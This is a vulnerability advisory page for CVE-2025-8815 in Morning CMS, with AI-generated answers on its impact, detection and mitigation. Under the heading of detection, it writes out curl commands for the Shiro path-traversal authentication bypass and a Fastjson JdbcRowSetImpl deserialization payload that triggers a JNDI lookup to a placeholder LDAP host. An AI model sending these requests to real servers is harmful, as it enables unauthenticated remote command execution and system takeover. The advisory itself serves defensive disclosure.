CVE-2025-8815
BaseFortify
Publication date: 2025-08-10
Last updated on: 2026-04-29
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| morning-pro | morning | * |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-22 | The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2025-8815 is a critical unauthenticated remote code execution (RCE) vulnerability in Morning CMS. It arises from two main issues: first, an improper access control in the Apache Shiro configuration allows attackers to bypass authentication by exploiting a path traversal technique (e.g., accessing /static/..;/index) to reach sensitive endpoints like /index without logging in. Second, the backend uses Alibaba Fastjson to parse user-supplied JSON metadata (avatar_data) without sufficient validation, enabling unsafe deserialization. Attackers can craft malicious payloads that trigger a JNDI lookup via the com.sun.rowset.JdbcRowSetImpl gadget, leading to arbitrary command execution on the server. This combination allows remote attackers to execute commands on the server without any authentication. [1, 3]
How can this vulnerability impact me? :
This vulnerability can have severe impacts including unauthorized remote command execution on the affected server. Attackers can bypass authentication controls and execute arbitrary commands, potentially compromising the confidentiality, integrity, and availability of the system. This could lead to data breaches, system takeover, deployment of malware, or disruption of services. Since the exploit is unauthenticated and remotely executable, it poses a high risk and can be exploited easily by attackers. [1, 2, 3]
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by monitoring for suspicious HTTP requests that exploit path traversal and unsafe deserialization. Specifically, look for requests accessing paths like `/static/..;/index` or `/static/..;/uploads/avatar` which bypass authentication. Additionally, inspect POST requests to `/uploads/avatar` containing multipart/form-data with JSON metadata named `avatar_data` that includes suspicious payloads referencing Java classes such as `com.sun.rowset.JdbcRowSetImpl`. Network intrusion detection systems (NIDS) can be configured to alert on these patterns. Example commands to detect such attempts include using curl or wget to test the endpoints, or using tools like tcpdump or Wireshark to capture and filter HTTP traffic for these paths and payloads. For example, a curl command to test path traversal might be: `curl -v http://target/static/..;/index` and to test unsafe deserialization: `curl -v -X POST http://target/static/..;/uploads/avatar -F 'avatar_data={"x1":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x2":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1389/Basic/Command/calc.exe","autoCommit":true}}' -F '[email protected]'`. [1, 3]
What immediate steps should I take to mitigate this vulnerability?
Immediate mitigation steps include restricting or disabling anonymous access to `/static/**` paths in the Apache Shiro configuration to prevent path traversal bypass of authentication. Additionally, disable or patch the unsafe deserialization of user-supplied JSON metadata in the `/uploads/avatar` endpoint by validating or sanitizing input before parsing with Alibaba Fastjson, or by upgrading to a safe version of Fastjson that mitigates deserialization vulnerabilities. If patching is not immediately possible due to the rolling release model, consider implementing network-level protections such as web application firewalls (WAF) to block malicious payloads targeting these endpoints. Monitoring and blocking suspicious LDAP or JNDI lookups can also help prevent exploitation. Finally, consider replacing the affected product if no timely fix is available. [1, 2, 3]